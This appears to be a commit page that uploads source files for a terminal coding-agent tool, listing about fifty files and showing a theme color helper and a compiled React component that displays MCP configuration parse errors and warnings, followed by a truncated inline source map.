Add files using upload-large-folder tool
Browse filesThis view is limited to 50 files because it contains too many changes. See raw diff
- src/components/design-system/color.ts +30 -0
- src/components/mcp/McpParsingWarnings.tsx +213 -0
- src/components/memory/MemoryFileSelector.tsx +438 -0
- src/components/messages/GroupedToolUseContent.tsx +58 -0
- src/components/messages/HookProgressMessage.tsx +116 -0
- src/components/messages/teamMemCollapsed.tsx +140 -0
- src/entrypoints/sdk/coreTypes.generated.ts +4 -0
- src/tools/AgentTool/AgentTool.tsx +0 -0
- src/tools/AgentTool/agentDisplay.ts +104 -0
- src/tools/AgentTool/agentMemory.ts +177 -0
- src/tools/AgentTool/agentMemorySnapshot.ts +197 -0
- src/tools/AgentTool/agentToolUtils.ts +686 -0
- src/tools/AskUserQuestionTool/prompt.ts +44 -0
- src/tools/BashTool/BashTool.tsx +0 -0
- src/tools/BashTool/BashToolResultMessage.tsx +191 -0
- src/tools/BashTool/bashCommandHelpers.ts +265 -0
- src/tools/BashTool/bashSecurity.ts +0 -0
- src/tools/BashTool/commentLabel.ts +13 -0
- src/tools/BashTool/destructiveCommandWarning.ts +102 -0
- src/tools/BashTool/modeValidation.ts +115 -0
- src/tools/BashTool/pathValidation.ts +1303 -0
- src/tools/BashTool/prompt.ts +369 -0
- src/tools/BashTool/readOnlyValidation.ts +1990 -0
- src/tools/BashTool/sedEditParser.ts +322 -0
- src/tools/BashTool/sedValidation.ts +684 -0
- src/tools/BashTool/shouldUseSandbox.ts +153 -0
- src/tools/BashTool/toolName.ts +2 -0
- src/tools/BashTool/utils.ts +223 -0
- src/tools/BriefTool/BriefTool.ts +204 -0
- src/tools/BriefTool/UI.tsx +101 -0
- src/tools/BriefTool/attachments.ts +110 -0
- src/tools/BriefTool/prompt.ts +22 -0
- src/tools/BriefTool/upload.ts +174 -0
- src/tools/ConfigTool/ConfigTool.ts +467 -0
- src/tools/ConfigTool/UI.tsx +38 -0
- src/tools/ConfigTool/constants.ts +1 -0
- src/tools/ConfigTool/prompt.ts +93 -0
- src/tools/ConfigTool/supportedSettings.ts +211 -0
- src/tools/EnterPlanModeTool/EnterPlanModeTool.ts +126 -0
- src/tools/EnterPlanModeTool/UI.tsx +33 -0
- src/tools/EnterPlanModeTool/constants.ts +1 -0
- src/tools/EnterPlanModeTool/prompt.ts +170 -0
- src/tools/EnterWorktreeTool/EnterWorktreeTool.ts +127 -0
- src/tools/EnterWorktreeTool/UI.tsx +20 -0
- src/tools/EnterWorktreeTool/constants.ts +1 -0
- src/tools/EnterWorktreeTool/prompt.ts +30 -0
- src/tools/ExitPlanModeTool/constants.ts +2 -0
- src/tools/ExitPlanModeTool/prompt.ts +29 -0
- src/tools/ExitWorktreeTool/ExitWorktreeTool.ts +329 -0
- src/tools/ExitWorktreeTool/UI.tsx +25 -0
src/components/design-system/color.ts
ADDED
|
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { type ColorType, colorize } from '../../ink/colorize.js'
|
| 2 |
+
import type { Color } from '../../ink/styles.js'
|
| 3 |
+
import { getTheme, type Theme, type ThemeName } from '../../utils/theme.js'
|
| 4 |
+
|
| 5 |
+
/**
|
| 6 |
+
* Curried theme-aware color function. Resolves theme keys to raw color
|
| 7 |
+
* values before delegating to the ink renderer's colorize.
|
| 8 |
+
*/
|
| 9 |
+
export function color(
|
| 10 |
+
c: keyof Theme | Color | undefined,
|
| 11 |
+
theme: ThemeName,
|
| 12 |
+
type: ColorType = 'foreground',
|
| 13 |
+
): (text: string) => string {
|
| 14 |
+
return text => {
|
| 15 |
+
if (!c) {
|
| 16 |
+
return text
|
| 17 |
+
}
|
| 18 |
+
// Raw color values bypass theme lookup
|
| 19 |
+
if (
|
| 20 |
+
c.startsWith('rgb(') ||
|
| 21 |
+
c.startsWith('#') ||
|
| 22 |
+
c.startsWith('ansi256(') ||
|
| 23 |
+
c.startsWith('ansi:')
|
| 24 |
+
) {
|
| 25 |
+
return colorize(text, c, type)
|
| 26 |
+
}
|
| 27 |
+
// Theme key lookup
|
| 28 |
+
return colorize(text, getTheme(theme)[c as keyof Theme], type)
|
| 29 |
+
}
|
| 30 |
+
}
|
src/components/mcp/McpParsingWarnings.tsx
ADDED
|
@@ -0,0 +1,213 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { c as _c } from "react/compiler-runtime";
|
| 2 |
+
import React, { useMemo } from 'react';
|
| 3 |
+
import { getMcpConfigsByScope } from 'src/services/mcp/config.js';
|
| 4 |
+
import type { ConfigScope } from 'src/services/mcp/types.js';
|
| 5 |
+
import { describeMcpConfigFilePath, getScopeLabel } from 'src/services/mcp/utils.js';
|
| 6 |
+
import type { ValidationError } from 'src/utils/settings/validation.js';
|
| 7 |
+
import { Box, Link, Text } from '../../ink.js';
|
| 8 |
+
function McpConfigErrorSection(t0) {
|
| 9 |
+
const $ = _c(26);
|
| 10 |
+
const {
|
| 11 |
+
scope,
|
| 12 |
+
parsingErrors,
|
| 13 |
+
warnings
|
| 14 |
+
} = t0;
|
| 15 |
+
const hasErrors = parsingErrors.length > 0;
|
| 16 |
+
const hasWarnings = warnings.length > 0;
|
| 17 |
+
if (!hasErrors && !hasWarnings) {
|
| 18 |
+
return null;
|
| 19 |
+
}
|
| 20 |
+
let t1;
|
| 21 |
+
if ($[0] !== hasErrors || $[1] !== hasWarnings) {
|
| 22 |
+
t1 = (hasErrors || hasWarnings) && <Text color={hasErrors ? "error" : "warning"}>[{hasErrors ? "Failed to parse" : "Contains warnings"}]{" "}</Text>;
|
| 23 |
+
$[0] = hasErrors;
|
| 24 |
+
$[1] = hasWarnings;
|
| 25 |
+
$[2] = t1;
|
| 26 |
+
} else {
|
| 27 |
+
t1 = $[2];
|
| 28 |
+
}
|
| 29 |
+
let t2;
|
| 30 |
+
if ($[3] !== scope) {
|
| 31 |
+
t2 = getScopeLabel(scope);
|
| 32 |
+
$[3] = scope;
|
| 33 |
+
$[4] = t2;
|
| 34 |
+
} else {
|
| 35 |
+
t2 = $[4];
|
| 36 |
+
}
|
| 37 |
+
let t3;
|
| 38 |
+
if ($[5] !== t2) {
|
| 39 |
+
t3 = <Text>{t2}</Text>;
|
| 40 |
+
$[5] = t2;
|
| 41 |
+
$[6] = t3;
|
| 42 |
+
} else {
|
| 43 |
+
t3 = $[6];
|
| 44 |
+
}
|
| 45 |
+
let t4;
|
| 46 |
+
if ($[7] !== t1 || $[8] !== t3) {
|
| 47 |
+
t4 = <Box>{t1}{t3}</Box>;
|
| 48 |
+
$[7] = t1;
|
| 49 |
+
$[8] = t3;
|
| 50 |
+
$[9] = t4;
|
| 51 |
+
} else {
|
| 52 |
+
t4 = $[9];
|
| 53 |
+
}
|
| 54 |
+
let t5;
|
| 55 |
+
if ($[10] === Symbol.for("react.memo_cache_sentinel")) {
|
| 56 |
+
t5 = <Text dimColor={true}>Location: </Text>;
|
| 57 |
+
$[10] = t5;
|
| 58 |
+
} else {
|
| 59 |
+
t5 = $[10];
|
| 60 |
+
}
|
| 61 |
+
let t6;
|
| 62 |
+
if ($[11] !== scope) {
|
| 63 |
+
t6 = describeMcpConfigFilePath(scope);
|
| 64 |
+
$[11] = scope;
|
| 65 |
+
$[12] = t6;
|
| 66 |
+
} else {
|
| 67 |
+
t6 = $[12];
|
| 68 |
+
}
|
| 69 |
+
let t7;
|
| 70 |
+
if ($[13] !== t6) {
|
| 71 |
+
t7 = <Box>{t5}<Text dimColor={true}>{t6}</Text></Box>;
|
| 72 |
+
$[13] = t6;
|
| 73 |
+
$[14] = t7;
|
| 74 |
+
} else {
|
| 75 |
+
t7 = $[14];
|
| 76 |
+
}
|
| 77 |
+
let t8;
|
| 78 |
+
if ($[15] !== parsingErrors) {
|
| 79 |
+
t8 = parsingErrors.map(_temp);
|
| 80 |
+
$[15] = parsingErrors;
|
| 81 |
+
$[16] = t8;
|
| 82 |
+
} else {
|
| 83 |
+
t8 = $[16];
|
| 84 |
+
}
|
| 85 |
+
let t9;
|
| 86 |
+
if ($[17] !== warnings) {
|
| 87 |
+
t9 = warnings.map(_temp2);
|
| 88 |
+
$[17] = warnings;
|
| 89 |
+
$[18] = t9;
|
| 90 |
+
} else {
|
| 91 |
+
t9 = $[18];
|
| 92 |
+
}
|
| 93 |
+
let t10;
|
| 94 |
+
if ($[19] !== t8 || $[20] !== t9) {
|
| 95 |
+
t10 = <Box marginLeft={1} flexDirection="column">{t8}{t9}</Box>;
|
| 96 |
+
$[19] = t8;
|
| 97 |
+
$[20] = t9;
|
| 98 |
+
$[21] = t10;
|
| 99 |
+
} else {
|
| 100 |
+
t10 = $[21];
|
| 101 |
+
}
|
| 102 |
+
let t11;
|
| 103 |
+
if ($[22] !== t10 || $[23] !== t4 || $[24] !== t7) {
|
| 104 |
+
t11 = <Box flexDirection="column" marginTop={1}>{t4}{t7}{t10}</Box>;
|
| 105 |
+
$[22] = t10;
|
| 106 |
+
$[23] = t4;
|
| 107 |
+
$[24] = t7;
|
| 108 |
+
$[25] = t11;
|
| 109 |
+
} else {
|
| 110 |
+
t11 = $[25];
|
| 111 |
+
}
|
| 112 |
+
return t11;
|
| 113 |
+
}
|
| 114 |
+
function _temp2(warning, i_0) {
|
| 115 |
+
const serverName_0 = warning.mcpErrorMetadata?.serverName;
|
| 116 |
+
return <Box key={`warning-${i_0}`}><Text><Text dimColor={true}>└ </Text><Text color="warning">[Warning]</Text><Text dimColor={true}>{" "}{serverName_0 && `[${serverName_0}] `}{warning.path && warning.path !== "" ? `${warning.path}: ` : ""}{warning.message}</Text></Text></Box>;
|
| 117 |
+
}
|
| 118 |
+
function _temp(error, i) {
|
| 119 |
+
const serverName = error.mcpErrorMetadata?.serverName;
|
| 120 |
+
return <Box key={`error-${i}`}><Text><Text dimColor={true}>└ </Text><Text color="error">[Error]</Text><Text dimColor={true}>{" "}{serverName && `[${serverName}] `}{error.path && error.path !== "" ? `${error.path}: ` : ""}{error.message}</Text></Text></Box>;
|
| 121 |
+
}
|
| 122 |
+
export function McpParsingWarnings() {
|
| 123 |
+
const $ = _c(6);
|
| 124 |
+
let t0;
|
| 125 |
+
if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
|
| 126 |
+
t0 = {
|
| 127 |
+
scope: "user",
|
| 128 |
+
config: getMcpConfigsByScope("user")
|
| 129 |
+
};
|
| 130 |
+
$[0] = t0;
|
| 131 |
+
} else {
|
| 132 |
+
t0 = $[0];
|
| 133 |
+
}
|
| 134 |
+
let t1;
|
| 135 |
+
if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
|
| 136 |
+
t1 = {
|
| 137 |
+
scope: "project",
|
| 138 |
+
config: getMcpConfigsByScope("project")
|
| 139 |
+
};
|
| 140 |
+
$[1] = t1;
|
| 141 |
+
} else {
|
| 142 |
+
t1 = $[1];
|
| 143 |
+
}
|
| 144 |
+
let t2;
|
| 145 |
+
if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
|
| 146 |
+
t2 = {
|
| 147 |
+
scope: "local",
|
| 148 |
+
config: getMcpConfigsByScope("local")
|
| 149 |
+
};
|
| 150 |
+
$[2] = t2;
|
| 151 |
+
} else {
|
| 152 |
+
t2 = $[2];
|
| 153 |
+
}
|
| 154 |
+
let t3;
|
| 155 |
+
if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
|
| 156 |
+
t3 = [t0, t1, t2, {
|
| 157 |
+
scope: "enterprise",
|
| 158 |
+
config: getMcpConfigsByScope("enterprise")
|
| 159 |
+
}];
|
| 160 |
+
$[3] = t3;
|
| 161 |
+
} else {
|
| 162 |
+
t3 = $[3];
|
| 163 |
+
}
|
| 164 |
+
const scopes = t3 satisfies Array<{
|
| 165 |
+
scope: ConfigScope;
|
| 166 |
+
config: {
|
| 167 |
+
errors: ValidationError[];
|
| 168 |
+
};
|
| 169 |
+
}>;
|
| 170 |
+
const hasParsingErrors = scopes.some(_temp3);
|
| 171 |
+
const hasWarnings = scopes.some(_temp4);
|
| 172 |
+
if (!hasParsingErrors && !hasWarnings) {
|
| 173 |
+
return null;
|
| 174 |
+
}
|
| 175 |
+
let t4;
|
| 176 |
+
if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
|
| 177 |
+
t4 = <Text bold={true}>MCP Config Diagnostics</Text>;
|
| 178 |
+
$[4] = t4;
|
| 179 |
+
} else {
|
| 180 |
+
t4 = $[4];
|
| 181 |
+
}
|
| 182 |
+
let t5;
|
| 183 |
+
if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
|
| 184 |
+
t5 = <Box flexDirection="column" marginTop={1} marginBottom={1}>{t4}<Box marginTop={1}><Text dimColor={true}>For help configuring MCP servers, see:{" "}<Link url="https://code.claude.com/docs/en/mcp">https://code.claude.com/docs/en/mcp</Link></Text></Box>{scopes.map(_temp5)}</Box>;
|
| 185 |
+
$[5] = t5;
|
| 186 |
+
} else {
|
| 187 |
+
t5 = $[5];
|
| 188 |
+
}
|
| 189 |
+
return t5;
|
| 190 |
+
}
|
| 191 |
+
function _temp5(t0) {
|
| 192 |
+
const {
|
| 193 |
+
scope,
|
| 194 |
+
config: config_1
|
| 195 |
+
} = t0;
|
| 196 |
+
return <McpConfigErrorSection key={scope} scope={scope} parsingErrors={filterErrors(config_1.errors, "fatal")} warnings={filterErrors(config_1.errors, "warning")} />;
|
| 197 |
+
}
|
| 198 |
+
function _temp4(t0) {
|
| 199 |
+
const {
|
| 200 |
+
config: config_0
|
| 201 |
+
} = t0;
|
| 202 |
+
return filterErrors(config_0.errors, "warning").length > 0;
|
| 203 |
+
}
|
| 204 |
+
function _temp3(t0) {
|
| 205 |
+
const {
|
| 206 |
+
config
|
| 207 |
+
} = t0;
|
| 208 |
+
return filterErrors(config.errors, "fatal").length > 0;
|
| 209 |
+
}
|
| 210 |
+
function filterErrors(errors: ValidationError[], severity: 'fatal' | 'warning'): ValidationError[] {
|
| 211 |
+
return errors.filter(e => e.mcpErrorMetadata?.severity === severity);
|
| 212 |
+
}
|
| 213 |
+
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInVzZU1lbW8iLCJnZXRNY3BDb25maWdzQnlTY29wZSIsIkNvbmZpZ1Njb3BlIiwiZGVzY3JpYmVNY3BDb25maWdGaWxlUGF0aCIsImdldFNjb3BlTGFiZWwiLCJWYWxpZGF0aW9uRXJyb3IiLCJCb3giLCJMaW5rIiwiVGV4dCIsIk1jcENvbmZpZ0Vycm9yU2VjdGlvbiIsInQwIiwiJCIsIl9jIiwic2NvcGUiLCJwYXJzaW5nRXJyb3JzIiwid2FybmluZ3MiLCJoYXNFcnJvcnMiLCJsZW5ndGgiLCJoYXNXYXJuaW5ncyIsInQxIiwidDIiLCJ0MyIsInQ0IiwidDUiLCJTeW1ib2wiLCJmb3IiLCJ0NiIsInQ3IiwidDgiLCJtYXAiLCJfdGVtcCIsInQ5IiwiX3RlbXAyIiwidDEwIiwidDExIiwid2FybmluZyIsImlfMCIsInNlcnZlck5hbWVfMCIsIm1jcEVycm9yTWV0YWRhdGEiLCJzZXJ2ZXJOYW1lIiwiaSIsInBhdGgiLCJtZXNzYWdlIiwiZXJyb3IiLCJNY3BQYXJzaW5nV2FybmluZ3MiLCJjb25maWciLCJzY29wZXMiLCJBcnJheSIsImVycm9ycyIsImhhc1BhcnNpbmdFcnJvcnMiLCJzb21lIiwiX3RlbXAzIiwiX3RlbXA0IiwiX3RlbXA1IiwiY29uZmlnXzEiLCJmaWx0ZXJFcnJvcnMiLCJjb25maWdfMCIsInNldmVyaXR5IiwiZmlsdGVyIiwiZSJdLCJzb3VyY2VzIjpbIk1jcFBhcnNpbmdXYXJuaW5ncy50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IFJlYWN0LCB7IHVzZU1lbW8gfSBmcm9tICdyZWFjdCdcbmltcG9ydCB7IGdldE1jcENvbmZpZ3NCeVNjb3BlIH0gZnJvbSAnc3JjL3NlcnZpY2VzL21jcC9jb25maWcuanMnXG5pbXBvcnQgdHlwZSB7IENvbmZpZ1Njb3BlIH0gZnJvbSAnc3JjL3NlcnZpY2VzL21jcC90eXBlcy5qcydcbmltcG9ydCB7XG4gIGRlc2NyaWJlTWNwQ29uZmlnRmlsZVBhdGgsXG4gIGdldFNjb3BlTGFiZWwsXG59IGZyb20gJ3NyYy9zZXJ2aWNlcy9tY3AvdXRpbHMuanMnXG5pbXBvcnQgdHlwZSB7IFZhbGlkYXRpb25FcnJvciB9IGZyb20gJ3NyYy91dGlscy9zZXR0aW5ncy92YWxpZGF0aW9uLmpzJ1xuaW1wb3J0IHsgQm94LCBMaW5rLCBUZXh0IH0gZnJvbSAnLi4vLi4vaW5rLmpzJ1xuXG5mdW5jdGlvbiBNY3BDb25maWdFcnJvclNlY3Rpb24oe1xuICBzY29wZSxcbiAgcGFyc2luZ0Vycm9ycyxcbiAgd2FybmluZ3MsXG59OiB7XG4gIHNjb3BlOiBDb25maWdTY29wZVxuICBwYXJzaW5nRXJyb3JzOiBWYWxpZGF0aW9uRXJyb3JbXVxuICB3YXJuaW5nczogVmFsaWRhdGlvbkVycm9yW11cbn0pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBoYXNFcnJvcnMgPSBwYXJzaW5nRXJyb3JzLmxlbmd0aCA+IDBcbiAgY29uc3QgaGFzV2FybmluZ3MgPSB3YXJuaW5ncy5sZW5ndGggPiAwXG5cbiAgaWYgKCFoYXNFcnJvcnMgJiYgIWhhc1dhcm5pbmdzKSB7XG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfT5cbiAgICAgIDxCb3g+XG4gICAgICAgIHsoaGFzRXJyb3JzIHx8IGhhc1dhcm5pbmdzKSAmJiAoXG4gICAgICAgICAgPFRleHQgY29sb3I9e2hhc0Vycm9ycyA/ICdlcnJvcicgOiAnd2FybmluZyd9PlxuICAgICAgICAgICAgW3toYXNFcnJvcnMgPyAnRmFpbGVkIHRvIHBhcnNlJyA6ICdDb250YWlucyB3YXJuaW5ncyd9XXsnICd9XG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICApfVxuICAgICAgICA8VGV4dD57Z2V0U2NvcGVMYWJlbChzY29wZSl9PC9UZXh0PlxuICAgICAgPC9Cb3g+XG4gICAgICA8Qm94PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5Mb2NhdGlvbjogPC9UZXh0PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj57ZGVzY3JpYmVNY3BDb25maWdGaWxlUGF0aChzY29wZSl9PC9UZXh0PlxuICAgICAgPC9Cb3g+XG4gICAgICA8Qm94IG1hcmdpbkxlZnQ9ezF9IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAge3BhcnNpbmdFcnJvcnMubWFwKChlcnJvciwgaSkgPT4ge1xuICAgICAgICAgIGNvbnN0IHNlcnZlck5hbWUgPSBlcnJvci5tY3BFcnJvck1ldGFkYXRhPy5zZXJ2ZXJOYW1lXG4gICAgICAgICAgcmV0dXJuIChcbiAgICAgICAgICAgIDxCb3gga2V5PXtgZXJyb3ItJHtpfWB9PlxuICAgICAgICAgICAgICA8VGV4dD5cbiAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj7ilJQgPC9UZXh0PlxuICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwiZXJyb3JcIj5bRXJyb3JdPC9UZXh0PlxuICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICAgICAgICAgICAgeycgJ31cbiAgICAgICAgICAgICAgICAgIHtzZXJ2ZXJOYW1lICYmIGBbJHtzZXJ2ZXJOYW1lfV0gYH1cbiAgICAgICAgICAgICAgICAgIHtlcnJvci5wYXRoICYmIGVycm9yLnBhdGggIT09ICcnID8gYCR7ZXJyb3IucGF0aH06IGAgOiAnJ31cbiAgICAgICAgICAgICAgICAgIHtlcnJvci5tZXNzYWdlfVxuICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgKVxuICAgICAgICB9KX1cbiAgICAgICAge3dhcm5pbmdzLm1hcCgod2FybmluZywgaSkgPT4ge1xuICAgICAgICAgIGNvbnN0IHNlcnZlck5hbWUgPSB3YXJuaW5nLm1jcEVycm9yTWV0YWRhdGE/LnNlcnZlck5hbWVcblxuICAgICAgICAgIHJldHVybiAoXG4gICAgICAgICAgICA8Qm94IGtleT17YHdhcm5pbmctJHtpfWB9PlxuICAgICAgICAgICAgICA8VGV4dD5cbiAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj7ilJQgPC9UZXh0PlxuICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwid2FybmluZ1wiPltXYXJuaW5nXTwvVGV4dD5cbiAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgICAgICAgIHsnICd9XG4gICAgICAgICAgICAgICAgICB7c2VydmVyTmFtZSAmJiBgWyR7c2VydmVyTmFtZX1dIGB9XG4gICAgICAgICAgICAgICAgICB7d2FybmluZy5wYXRoICYmIHdhcm5pbmcucGF0aCAhPT0gJydcbiAgICAgICAgICAgICAgICAgICAgPyBgJHt3YXJuaW5nLnBhdGh9OiBgXG4gICAgICAgICAgICAgICAgICAgIDogJyd9XG4gICAgICAgICAgICAgICAgICB7d2FybmluZy5tZXNzYWdlfVxuICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgKVxuICAgICAgICB9KX1cbiAgICAgIDwvQm94PlxuICAgIDwvQm94PlxuICApXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBNY3BQYXJzaW5nV2FybmluZ3MoKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgLy8gQ29uZmlnIGZpbGVzIGRvbid0IGNoYW5nZSBkdXJpbmcgZGlhbG9nIGxpZmV0aW1lOyByZWFkIG9uY2Ugb24gbW91bnRcbiAgLy8gdG8gYXZvaWQgYmxvY2tpbmcgZmlsZSBJTyBvbiBldmVyeSByZS1yZW5kZXIuXG4gIGNvbnN0IHNjb3BlcyA9IHVzZU1lbW8oXG4gICAgKCkgPT5cbiAgICAgIFtcbiAgICAgICAgeyBzY29wZTogJ3VzZXInLCBjb25maWc6IGdldE1jcENvbmZpZ3NCeVNjb3BlKCd1c2VyJykgfSxcbiAgICAgICAgeyBzY29wZTogJ3Byb2plY3QnLCBjb25maWc6IGdldE1jcENvbmZpZ3NCeVNjb3BlKCdwcm9qZWN0JykgfSxcbiAgICAgICAgeyBzY29wZTogJ2xvY2FsJywgY29uZmlnOiBnZXRNY3BDb25maWdzQnlTY29wZSgnbG9jYWwnKSB9LFxuICAgICAgICB7IHNjb3BlOiAnZW50ZXJwcmlzZScsIGNvbmZpZzogZ2V0TWNwQ29uZmlnc0J5U2NvcGUoJ2VudGVycHJpc2UnKSB9LFxuICAgICAgXSBzYXRpc2ZpZXMgQXJyYXk8e1xuICAgICAgICBzY29wZTogQ29uZmlnU2NvcGVcbiAgICAgICAgY29uZmlnOiB7IGVycm9yczogVmFsaWRhdGlvbkVycm9yW10gfVxuICAgICAgfT4sXG4gICAgW10sXG4gIClcblxuICBjb25zdCBoYXNQYXJzaW5nRXJyb3JzID0gc2NvcGVzLnNvbWUoXG4gICAgKHsgY29uZmlnIH0pID0+IGZpbHRlckVycm9ycyhjb25maWcuZXJyb3JzLCAnZmF0YWwnKS5sZW5ndGggPiAwLFxuICApXG4gIGNvbnN0IGhhc1dhcm5pbmdzID0gc2NvcGVzLnNvbWUoXG4gICAgKHsgY29uZmlnIH0pID0+IGZpbHRlckVycm9ycyhjb25maWcuZXJyb3JzLCAnd2FybmluZycpLmxlbmd0aCA+IDAsXG4gIClcblxuICBpZiAoIWhhc1BhcnNpbmdFcnJvcnMgJiYgIWhhc1dhcm5pbmdzKSB7XG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfSBtYXJnaW5Cb3R0b209ezF9PlxuICAgICAgPFRleHQgYm9sZD5NQ1AgQ29uZmlnIERpYWdub3N0aWNzPC9UZXh0PlxuICAgICAgPEJveCBtYXJnaW5Ub3A9ezF9PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICBGb3IgaGVscCBjb25maWd1cmluZyBNQ1Agc2VydmVycywgc2VlOnsnICd9XG4gICAgICAgICAgPExpbmsgdXJsPVwiaHR0cHM6Ly9jb2RlLmNsYXVkZS5jb20vZG9jcy9lbi9tY3BcIj5cbiAgICAgICAgICAgIGh0dHBzOi8vY29kZS5jbGF1ZGUuY29tL2RvY3MvZW4vbWNwXG4gICAgICAgICAgPC9MaW5rPlxuICAgICAgICA8L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICAgIHtzY29wZXMubWFwKCh7IHNjb3BlLCBjb25maWcgfSkgPT4gKFxuICAgICAgICA8TWNwQ29uZmlnRXJyb3JTZWN0aW9uXG4gICAgICAgICAga2V5PXtzY29wZX1cbiAgICAgICAgICBzY29wZT17c2NvcGV9XG4gICAgICAgICAgcGFyc2luZ0Vycm9ycz17ZmlsdGVyRXJyb3JzKGNvbmZpZy5lcnJvcnMsICdmYXRhbCcpfVxuICAgICAgICAgIHdhcm5pbmdzPXtmaWx0ZXJFcnJvcnMoY29uZmlnLmVycm9ycywgJ3dhcm5pbmcnKX1cbiAgICAgICAgLz5cbiAgICAgICkpfVxuICAgICAgey8qIFRPRE86IEFkZCBhZGRpdGlvbmFsIGRpYWdub3N0aWMgc2VjdGlvbnM6XG4gICAgICAgKiAtIER1cGxpY2F0ZSBTZXJ2ZXIgTmFtZXMgKGNoZWNrIGZvciBzZXJ2ZXJzIHdpdGggc2FtZSBuYW1lIGFjcm9zcyBzY29wZXMpXG4gICAgICAgKiBUaGlzIHNlY3Rpb24gc2hvdWxkIGluY2x1ZGU6XG4gICAgICAgKiAtIEZpbGUgcGF0aHMgd2hlcmUgZWFjaCBzZXJ2ZXIgaXMgZGVmaW5lZFxuICAgICAgICogLSBNb3JlIGRldGFpbGVkIGxvY2F0aW9uIGluZm8gZm9yIHVzZXIvbG9jYWwgc2NvcGVzXG4gICAgICAgKiAtIEFwcHJvdmVkIC8gZGlzYWJsZWQgc3RhdHVzIG9mIHNlcnZlcnNcbiAgICAgICAqL31cbiAgICA8L0JveD5cbiAgKVxufVxuXG5mdW5jdGlvbiBmaWx0ZXJFcnJvcnMoXG4gIGVycm9yczogV